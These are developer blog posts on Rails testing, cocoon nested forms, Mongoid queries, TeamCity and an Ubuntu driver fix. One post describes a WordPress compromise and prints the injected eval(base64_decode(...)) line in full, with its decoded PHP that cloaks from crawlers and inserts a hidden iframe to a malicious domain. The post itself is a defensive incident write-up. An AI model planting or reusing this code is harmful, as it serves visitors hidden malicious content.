We have a large test-suite that runs >2200 examples, that took 900 seconds to complete on my machine. Using a few optimisation techniques I was able to bring this time down to 650secs. Which is still long :) But if I run the tests in parallel it takes me down to 300secs (I have two cores).

First off, I think it is crucial that your tests are as much as possible in isolation. You are only testing the code under test. Only the model, the controller, the view. This is not something we do consequently everywhere. Sometimes I stub the ActiveRecord finders, but more often I do not. I just make sure the correct data is available. But when a controller calls a method on a model, which I have tested in the model-test, I can safely stub that call.

That is sometimes the hardest call: how much mocking and stubbing will you do. A lot of mocks and stubs will make your tests fast, but also brittle, as they are tied in too much with the implementation. If I am certain that the used modules are tested correctly, I will use mocks and stubs. Otherwise I test the used modules as well. So why test ActiveRecord as well? Because sometimes I use somewhat complicated queries and scopes, and want to make sure I did not make a mistake there.

Aside of that, my tips to speed up rspec tests:

  • speed up your database: either use sqlite if possible, or tune your database for maximum speed. In my case I am using postgresql and i did the following to improve that.
    • set fsync=off in postgresql.conf
    • set shared_buffers to 28MB — I even tried setting it to 128MB but that did not make any difference anymore.

    Using these settings will make postgresql almost behave as an in-memory database. You can even take it further, see here.

  • If you need a lot of data instantiated, using factories, use before(:all) instead of before(:each). Clean up the data in the after(:all).

    Note: we cannot use before(:all) for everything. Look that up :)

  • use tip from corey haines where applicable to not include spec_helper. For me this means you should take a good look at your spec_helper. We included a lot of helpers and support-methods in our spec_helper, which makes it every easy to write a test, but also makes running a test slower. Maybe it could be profitable to always use a lean spec_helper, and include what you need inside your spec-file. And for some files inside your lib you probably don’t even need spec_helper at all.
  • Test smart! Use factories, but always try to create the minimum set needed to work. If you need more than 1 item, 2 items will suffice :)
  • Use rspec-prof to profile slow parts
    • Do you have any more tips to speed up tests?

One recurring problem when doing Ruby on Rails development is a nested model form.

Nested Model Form: a single form that contains multiple, nested models.

For example a project with its tasks. A nested model form will allow you to create or edit, in 1 form, the project and each of its tasks.

With the use of cocoon, this post will describe how to create a nested model form for some (all?) of the possible relations.

All these examples start from the project, so we will just start with a dummy project as follows:

    rails g scaffold Project name:string

That’s all we need to get started. In these examples i am using simple_form and slim (which looks a lot like haml, but is much faster).

The simple :has_many

The simple :has_many is the most occuring relation (unfortunately no scientific data to back that up). The simple :has_many is a relation where the child cannot exist without the parent, and where each child can have only one parent. A typical example is the project and his tasks. Each task is unique, each task only exists because of the project. If the project is gone, so are the tasks.

First the models:

    class Project < ActiveRecord::Base
      has_many :tasks
      accepts_nested_attributes_for :tasks, :reject_if => :all_blank, :allow_destroy => true
    end

    class Task < ActiveRecord::Base
    end

The accepts_nested_attributes_for method makes sure that when posting the project-data, it will accept the attributes for the nested model.

Secondly we add the views. Inside the project _form.html.slim we add

    #tasks
      = f.simple_fields_for :tasks do |task|
        = render 'task_fields', :f => task
      .links
        = link_to_add_association 'add task', f, :tasks

Create a partial called projects/_task_fields.html.slim which looks like:

    .nested-fields
      = f.input :name
      = f.input :description
      = f.input :done, :as => :boolean
      = link_to_remove_association "remove task", f

The nested :has_many

Actually this is a simple extension of the previous example. For instance, a project with tasks, and each tasks has sub-tasks.

Our models:

    class Task < ActiveRecord::Base
      has_many :sub_tasks
      accepts_nested_attributes_for :sub_tasks,  :reject_if => :all_blank, :allow_destroy => true
    end
    class SubTask < ActiveRecord::Base
    end

Edit the projects\_task_fields.html.slim :

    .nested-fields
      = f.input :name
      = f.input :description
      = f.input :done, :as => :boolean
      .sub_tasks
        = f.simple_fields_for :sub_tasks do |sub_task|
          = render 'sub_task_fields', :f => sub_task
        .links
          = link_to_add_association 'add sub-task', f, :sub_tasks
      = link_to_remove_association "remove task", f

and add the view projects\_sub_tasks.html.slim (which bears a lot of resemblance to the previous tasks-partial):

    .nested-fields
      = f.input :name
      = f.input :description
      = link_to_remove_association "remove sub-task", f

The look-up or create :belongs_to

A simple :belongs_to would mean that the parent would already exist, and a simple look-up (dropdown list) would suffice.
If the parent is always unique, it can be solved in the same way as the :has_many. So, let’s describe a solution for the case where we either select the item from a list, or create a new one.

Our project has an owner (which is a person):

    class Project < ActiveRecord::Base
      belongs_to :owner, :class_name => 'Person'
      accepts_nested_attributes_for :owner, :reject_if => :all_blank
    end
    class Person < ActiveRecord::Base
    end

inside the _projects/_form.html.slim we add the following:

    #owner
      #owner_from_list
        = f.association :owner, :collection => Person.all(:order => 'name'), :prompt => 'Choose an existing owner'
      = link_to_add_association 'add a new person as owner', f, :owner

Here we use the built-in way from simple_form to select an association from a look-up list: f.association. But secondly, we place the link_to_add_association that will render the partial projects/_owner_fields.html.slim and create a new Person and link to him.

The partial itself is pretty straightforward:

    .nested-fields
      = f.input :name
      = f.input :role
      = f.input :description
      = link_to_remove_association "remove owner", f

Now if you implement this, the form is functioning but not really user-friendly.
What we want is that when clicking the add a new person as owner-link, that the drop-down box and the link itself disappear. When we choose to remove the to-be created owner, that the drop-down and add-link reappear.
So we need to add a bit of extra javascript. Open up app\javascripts\projects.js and add:

    $(document).ready(function() {
      $("#owner a.add_fields").
        data("association-insertion-position", 'before').
        data("association-insertion-node", 'this');

      $('#owner').bind('insertion-callback',
         function() {
           $("#owner_from_list").hide();
           $("#owner a.add_fields").hide();
         });
      $('#owner').bind("removal-callback",
         function() {
           $("#owner_from_list").show();
           $("#owner a.add_fields").show();
         });
    });

The first two lines control where the new partial (the new owner) will appear.

Upon insertion or removal, cocoon will trigger callbacks that are defined on the parent-container of the add-link.
The last lines add those callbacks, and these will make sure that the link and dropdownbox will be hidden or shown again.

The :has_many :through relation

A classic example of this relation are tags. Something has tags, those can be chosen from an exisiting list of tags, one or more, or one could create new tags. This relation is, again, an extension of the previous solution.

This solution is a bit more complicated, because there is a bit more javascript involved here.

The models:

    class Project < ActiveRecord::Base
      has_many :project_tags
      has_many :tags, :through => :project_tags, :class_name => 'Tag'

      accepts_nested_attributes_for :tags
      accepts_nested_attributes_for :project_tags
    end
 
    class ProjectTag < ActiveRecord::Base
      belongs_to :tag
      belongs_to :project

      accepts_nested_attributes_for :tag, :reject_if => :all_blank
    end

    class Tag < ActiveRecord::Base
    end

inside the projects/_form.html.slim add:

    #tags
      = f.simple_fields_for :project_tags do |project_tag|
        = render 'project_tag_fields', :f => project_tag
      = link_to_add_association 'add a tag', f, :project_tags

Create a file projects/_project_tag_fields.html.slim containing:

.nested-fields.project-tag-fields
  #tag_from_list
    = f.association :tag, :collection => Tag.all(:order => 'name'), :prompt => 'Choose an existing tag'
  = link_to_add_association 'or create a new tag', f, :tag
  = link_to_remove_association "remove tag", f

And create another file projects/_tag_fields.html.slim:

.nested-fields
  = f.input :name, :hint => 'how should it be tagged'

When entering all this, it should be working, but it looks a bit confusing. The dropdown box does not disappear (as before). So we need the following bit of javascript to projects.js:

    $("#tags a.add_fields").
      data("association-insertion-position", 'before').
      data("association-insertion-node", 'this');

    $('#tags').bind('insertion-callback',
         function() {
             $(".project-tag-fields a.add_fields").
                 data("association-insertion-position", 'before').
                 data("association-insertion-node", 'this');
             $('.project-tag-fields').bind('insertion-callback',
                  function() {
                    $(this).children("#tag_from_list").remove();
                    $(this).children("a.add_fields").hide();
                  });
         });

While this javascript is doing almost the same as with the :belongs_to it is a bit more complicated, because the tag-partial is not yet inside in the page, so neither is the parent-div. Once that is clear, it is actually quite obvious what it does. I hope. Upon insertion of a new (project)tag, it also adds the callbacks for the insertion and removal of a new tag.

Example Code

All these examples are demonstrated in a working project: cocoon-simple-form-demo.

If you can think of more relations you would like to see solved, or see an example of, please let me know.

Hope this helps.

For me, it started with a tweet from Uncle Bob Martin, saying that if all your domain logic is in your model, or if you put your domain logic inside your models by default, then you are doing it wrong.

I think the reasoning behind this is that we should design the domain model before relying on our database model (which is actually an implementation of that domain model). Because the best way to store something in the database is not always to best way to treat or represent or handle the data.

In my Rails projects, I have to admit that in most cases the database is my domain model. Which in simple cases is correct, but in more complex cases it is not anymore.

Secondly what happens is that your database model could shine through in your UI, or if it does not, your views or helpers could get very heavy. One good way to handle this is to use Presenters. Which goes into the direction of that domain logic, independent of the database. A Presenter is a class that groups all data, knows where to find it, or store it, and will match one-on-one on your presentation/view logic.

Thirdly, I went to arrrrcamp, and there was Corey Haines doing his talk about Fast Rails Tests. While this title was very promising, Corey warned us that, in his own words, we would be underwhelmed. This was not entirely true, but not entirely false either :) In short what Corey said was: testing in Rails is slow because we need to drag around the framework, so why not cut out the framework where possible. So he showed an example where he extracted code from models and into separate modules, where you test them standalone. Standalone means: without requiring @spec_helper@. I did this for our modules inside @lib@ where possible, and truth be told: those specs now really fly! Awesome. But the large parts of our test-suite is our models, controllers, views, helpers where this is not possible nor wanted.

I want to be able to run our complete test-suite faster, and this was not a solution for that. We scraped a few seconds of our complete time. Extracting code from our models into standalone modules will not make our total test-suite go faster either.

Still it is something well worth investigating further. I don’t believe in splitting up classes into modules just for the sake of making my tests faster. There has to be some logical reason (pertaining to the domain model –that is).
But maybe presenters could be the way out here:

  • they group domain logic
  • while they are responsible for retrieving the correct objects from the database, these actions are just delegated to the responsible models

So that sounds promising to me and a road I will investigate.

In our Rails 3 application we use mongo to store logging of critical actions. At first we did not store a separate timestamp, since the _id (which is a BSON::ObjectId contains a timestamp as well. Our model, simplified, looked like this:

  class Log
    include Mongoid::Document

    # mongo id's contain timestamps, 4 bytes = epoch
    def timestamp
      Time.at([id.to_s].pack("H8").unpack("N")[0])
    end
  end

This is all fine and dandy, but when we wanted to build some reporting, of course we were unable to filter and query based upon date.

Mongoid has an easy way to add timestamp fields, and will add the timestamp to all the newly created documents for you. Inside your model just add:

  include Mongoid::Timestamps::Created

We only need to track the creation-time, since we are not interested in any updates. Including Mongoid::Timestamps will add and maintain both created_at and updated_at.

Now all that remained was adding the created_at field to all existing data. We needed reporting, but also on the existing data. Luckily, the value of the field was known, using the timestamp hidden in the id. Secondly, building a script to add and populate the field was also not too hard. This gist was my inspiration, but unlike that script, I was able to use the higher level interface of Mongoid.

# To allow querying on time-ranges, we need to add the created_at field.
# Querying on the `timestamp` does not seem possible, which is not completely surprising
# as it is (if i understand correctly) a part of the `_id` field.
#
# As a one time operation, we iterate over all documents and add the created_at field
# This script has to be run in the Rails environment, please use :
#
#     rails runner script/convert_mongo_add_created_at.rb
#

COLLECTIONS = ["your-collection"] # Put a list of collection names here


def convert_collection(collection)
  skipped_docs = 0
  all_converted_docs = 0

  Audit::Log.all.each do |doc|
    unless doc.respond_to?(:created_at) && doc.created_at.present?
      doc[:created_at] = doc.timestamp
      doc.save
      all_converted_docs +=1
    else
      skipped_docs += 1
    end
  end

  puts "  added :created_at to #{all_converted_docs} documents [skipped: #{skipped_docs}]"
  puts "Converted #{collection}"
end

puts "Start conversion ..."
@db = Mongoid.database

COLLECTIONS.each do |collection|
  convert_collection collection
end

Doing a simple group-by query using mongo and mongoid is actually pretty straightforward. According to the documentation, mongoid does not offer any group/aggregation function itself, but mongo does. And you can directly access the mongo using the collection.

So assume we have a mongo collection:

class Log

  include Mongoid::Document
  include Mongoid::Timestamps::Created

  field :action, :type => String

end

and now I want to count all occurrences of the different actions.

Log.collection.group(:key => "action", 
        :initial => { :count => 0 }, 
        :reduce => "function(doc,prev) { prev.count += +1; }")

This will return an array of hashes as follows:

[ {"action"=>"create", "count"=>1565.0}, 
  {"action"=>"update", "count"=>2142.0}, 
  {"action"=>"destroy", "count"=>27.0}] 

That is already very nice. But now I want to get the results of a certain action, grouped per day and month.

Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth(), nr_day: d.getDate() }; }", 
         :initial => { :visits => 0 }, 
         :reduce => "function(doc,prev) { prev.visits += +1; }" )

Notice: the value of :keyf and :reduce is a string containing javascript. This is very flexible, but important: no ruby! But since it is a string, you can use string interpolation to get values in there.

We should, of course, add a condition, to limit the result-set. So something like this:

Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", 
                :initial => { :visits => 0 }, 
                :reduce => "function(doc,prev) { prev.visits += +1; }", 
                :cond => {:action => 'create'})

This will returns the logged create per month.

Notice: the :cond and :initial contain regular ruby hashes.

Selecting on a date-range is also pretty easy, once you know how this took me hours to find :

Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", 
                :initial => { :visits => 0 }, 
                :reduce => "function(doc,prev) { prev.visits += +1; }", 
                :cond => {:created_at => {'$gte' => Time.utc(2011,04), '$lt' => Time.utc(2011,05) })

I still have some weird offset error with the dates, since I also get a few from the previous month, but I guess this has something to do with the time-zones.

Now, Mongoid can help us to write the condition. We can do something like:

conditions = Log.where(:created_at.gte => Date.today.at_beginning_of_month, 
                :created_at.lte => Date.today.at_end_of_month).selector
Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", 
                :initial => { :visits => 0 }, 
                :reduce => "function(doc,prev) { prev.visits += +1; }", 
                :cond => conditions)

Hope this helps.

Take the following steps, by preference install this in a specific gemset

rvm gemset create rails31
rvm gemset use rails31
gem install bundler
gem install rails --pre

These steps will create a new gemset and start using it, then install bundler and rails 3.1 (which is still pre-release at the time of writing).

Now in rails 3.1 there is a new requirement: you will need a javascript runtime. You can see the full list here. If you are on linux and using straight ruby then therubyracer is just fine. Type

gem install therubyracer

Creating a new rails-project always poses the same problem: creating a new project, with your set of gems, which all have to installed, generators need to be ran … Rails Wizard solves that.

gem install rails_wizard

Type rails_wizard list to see all possible templates.

To create a new rails 3.1 project using jquery, rspec, haml, devise you just need to write:

rails_wizard new your_new_application_name -r jquery rspec haml devise 

To go full out on options, you could write:

rails_wizard new your_new_application_name -r jquery rspec haml devise sass settingslogic git

Note

If you are using a specific gemset for your project, please remember to add your javascript runtime (e.g. I used therubyracer) to your Gemfile.

… and you are ready to go! Happy coding :)

I maintain three wordpress blogs, all hosted at WebFaction. And suddenly this morning, inside all my index.php the first line looked as follows:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9'))

Decoded, it looks as follows:

error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
	array("216.239.32.0","216.239.63.255"),
	array("64.68.80.0"  ,"64.68.87.255"  ),
	array("66.102.0.0",  "66.102.15.255"),
	array("64.233.160.0","64.233.191.255"),
	array("66.249.64.0", "66.249.95.255"),
	array("72.14.192.0", "72.14.255.255"),
	array("209.85.128.0","209.85.255.255"),
	array("198.108.100.192","198.108.100.207"),
	array("173.194.0.0","173.194.255.255"),
	array("216.33.229.144","216.33.229.151"),
	array("216.33.229.160","216.33.229.167"),
	array("209.185.108.128","209.185.108.255"),
	array("216.109.75.80","216.109.75.95"),
	array("64.68.88.0","64.68.95.255"),
	array("64.68.64.64","64.68.64.127"),
	array("64.41.221.192","64.41.221.207"),
	array("74.125.0.0","74.125.255.255"),
	array("65.52.0.0","65.55.255.255"),
	array("74.6.0.0","74.6.255.255"),
	array("67.195.0.0","67.195.255.255"),
	array("72.30.0.0","72.30.255.255"),
	array("38.0.0.0","38.255.255.255")
	);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
	$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
	if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
	if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>';
}

So, roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure your site will not be blacklisted, but any visitor will still get spammed.

Ok. But how to fix this?
First thing was easy: just edit the index.php and fix it! Remove the eval-line!
Secondly I notified my host of this.

One blog was not using the latest version, so i updated that one. I verified the files of all my blogs against the latest version of WordPress (3.1.3), and they were all identical except for the mentioned index.php. I changed my ssh/ftp password, because if the attacker had access to all three sites, that seemed to the only option.

But within two hours the index-files where hacked again. Ok. This was getting serious.

I installed the following plugins:

  • BulletProof Security: does a lot to tighten the security of your site, mainly through adding correct .htaccess files (as far as i can tell). I hope it works :)
  • WordPress File Monitor Plus: checks if any files are tampered with, and will mail me otherwise
  • WP Security Scan: does a standard series of checks (was not very useful), and also provides some tools to check your passwords and migrate your db-prefix.
  • WordPress File Monitor: will notify me if any of the wordpress files is tampered with. I hope this will prove to be useful in the future. Not sure if it will help me now …
  • Exploit Scanner: this scans all files and checks for eval and base64_decode. Only my index.php seem to be touched, but a lot of plugins have code that seems fishy, but I think they are not. I am not seeing any obviously wrong code now. So I am still a bit weary how the index.php could get hacked again.
  • AntiVirus: this checks for the permalink backdoor (all my sites were clear), and can check the current theme. This works for all my sites except one (strange!)

I also changed my secrets in the wp-config.php.

I asked my hoster for the log-files. I hope to see something suspicious there.

My index.php have not yet been overwritten again, so I hope this will do. I will keep you posted.

In our team we are very happy users of RubyMine, by JetBrains. Now JetBrains also has a continuous integration server, called TeamCity, and it is also capable to run rails rake tasks.

Installing TeamCity is close to a non-operation, as described on their website. Just download the package, extract, and run bin/runAll.sh start. Then you can browse to http://localhost:8111 and you are up and running.

Unfortunately, getting the build to actually run was a bit more complicated in our case.

Our prerequisets:

  • we do not check in any configuration file (like config.yml, database.yml, ...) so each developer can have their own settings.
  • we use bundler to manage our gem dependencies

We use the rake runner, but as you might know: rake tasks will not run unless the bundle is up to date. Luckily we are not the first to encounter that problem, and the suggested solution is actually quite simple, although a bit backward: use a custom rakefile, that will first run the bundle install, then require the actual Rakefile from which you can run the tasks.

To create the log folder, the css files (we use sass), the config-files, i had to create specific rake-tasks.

We also had a problem that our database was always somehow corrupt. Upon thorough investigation, i was able to pin-point this on the rake db:test:prepare task, that actually does not load the database from the schema.rb, but tries to clone the development database! On our continous integration server there is no development database!

So i cleared the db:test:prepare task.

Our custom rakefile then looked as follows:

directory "log"

task 'copy_rakefile' do
  cp 'Rakefile', 't_rakefile.rb', {:verbose => true}
end

task :bundle_install do
  sh 'bundle install'
end

task :sass do
  Sass::Plugin.update_stylesheets
end

task :default => [:bundle_install, 'copy_rakefile', 'log'] do
  RAILS_ENV = ENV['RAILS_ENV'] = 'test'
  
  require File.dirname(__FILE__) + '/t_rakefile'

  # launch rake tasks from the original Rakefile
  Rake::Task["log:clear"].invoke
  Rake::Task["teamcity:init_config"].invoke

  Rake::Task['db:test:prepare'].clear
  Rake::Task["db:reset"].invoke

  Rake::Task["environment"].invoke
  Rake::Task['sass'].invoke
  Rake::Task["test"].invoke
  Rake::Task["spec"].invoke
  Rake::Task["cucumber"].invoke
end

We had to copy the Rakefile, so we could later require it as a straight ruby-file.

Note that to disable the db:test:prepare i used the following code:

  Rake::Task['db:test:prepare'].clear

Simple, isn’t it :)
It’s also only cleared when running the teamcity:build, just as we want it.

Now we got this working, it is time to enjoy the goodies TeamCity offers us, like spreading over different build agents.

When testing your helpers, you might want to test if your call to image_tag generates the correct output.

Unfortunately, in Rails, for caching purposes, the asset tag is added which makes testing it somewhat unreliable. Luckily there is an easy way around that. If you define the environment variable RAILS_ASSET_ID, that is used instead of some permutation of the file-creation-date/time.

You could set RAILS_ASSET_ID to a specific number, simplifying the tests, because the number will always be the same, on all machines executing the tests. But if you set RAILS_ASSET_ID to an empty string, it effectively removes the tag from the link. For testing this is exactly what we want.

So an easy way to test is:

describe OperatorsHelper do
  context "get_operator_icon" do
    before(:each) do
      ENV['RAILS_ASSET_ID'] = ''
    end
    
    it "returns the image for any operator (not current)" do
      helper.stub(:current_operator?).and_return(false)
      @operator = Factory(:operator)
      helper.get_operator_icon(@operator).should == "<img alt=\"User-business-gray\" src=\"/images/icons/user-business-gray.png\" title=\"interactive user\" />"
    end

    it "returns the image for the current operator" do
      helper.stub(:current_operator?).and_return(true)
      @operator = Factory(:operator)
      helper.get_operator_icon(@operator).should == "<img alt=\"User-business\" src=\"/images/icons/user-business.png\" title=\"interactive user (yourself)\" />"
    end
  end
end

Hope this might help someone with the same problem :)

When upgrading my development machine to Ubunty 11.04, Natty Narwal, I also had a problem with nvidia drivers, and I want to list all possible solutions to fix that.

First the symptoms: my Ubuntu would boot up, but the screen would just turn black. When booting in failsafeX it would work, but not with Unity (I would get white areas instead of window-content), because it needs the 3D acceleration? But when trying to enable the nvidia card in any way, and rebooting normally, I would end up with black screens.

So what did i attempt to fix all that:

  • I removes the previously installed drivers and installed them again: this will make sure the drivers are rebuilt against the current kernel. This could already help.
  • Booting through failsafeX and activating the current driver; also using the previous driver (173): did not help me either
  • i added UNITY_FORCE_START=1 to /etc/environment as mentioned here (as GeForce 7300/7400 are blacklisted, but i have a GeForce Go 7100)

But it all kept failing. So, last resort (I should have thought of it earlier), I investigated the X-logfiles. Inside my /var/log/Xorg.0.log I found that nvidia had problems allocating the memory:

  [    14.055] (EE) NVIDIA(0): Failed to allocate primary buffer: out of memory.
  [    14.055] (EE) NVIDIA(0):  *** Aborting ***

Apparently this is a known bug, and i had to do the following to fix this:

  • edit /etc/default/grub
  • find the option GRUB_CMDLINE_LINUX and add nopat, so for me this looked like
    GRUB_CMDLINE_LINUX="nopat"
    
  • run sudo update-grub

And then, finally, everything worked fine for me :) Hope this helps.